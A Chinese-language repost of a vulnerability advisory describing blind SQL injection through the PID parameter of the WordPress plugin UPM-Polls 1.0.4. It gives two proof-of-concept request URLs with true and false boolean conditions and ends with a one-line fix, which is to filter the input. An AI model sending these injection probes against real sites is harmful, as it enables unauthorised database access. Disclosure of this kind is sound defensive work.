好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Wordpress插件UPM-POLLS 1.0.4盲注及修复 - 网站安全

前文:http://www.2cto.com/Article/201108/99254.html

 

标题: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4

作者: Saif El-Sherei www.2cto.com

下载 地址: http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip

影响版本: 1.0.4

测试平台: wordpress 3.2.1,Firefox 4, XAMPP

 

程序相关信息:

 

Best Plugin to create Polls for your site. Everything is smoother, faster,

and seamless like WordPress itself.

 

    Poll Manager,

        Ability to set general and post/page specific polls,

        Ability to leaf over the polls

        Ability to add certain poll in certain post content

        Ability to show polls either with and without current results of

polls

 

 

日记:

 

the Variable PID is not properly sanitized in the get request before

insertion into the database query; allowing an attaacker or any user who

can view poll results (supposedly   all user) to use blind sql injection to

extract database data and possibly compromise the whole server. a POC is

provided with both true and false results.

 

测试示例1(TRUE):

 

http://www.2cto.com /wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and

1=1

 

"poll results for poll 2 is displayed"

 

测试示例2 (FALSE):

 

http://www.2cto.com /wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and

1=2

 

"Blank page is displayed"

 

www.2cto.com提供修复方案:

 

过滤该页面参数输入

查看更多关于Wordpress插件UPM-POLLS 1.0.4盲注及修复 - 网站安全的详细内容...

  阅读:45次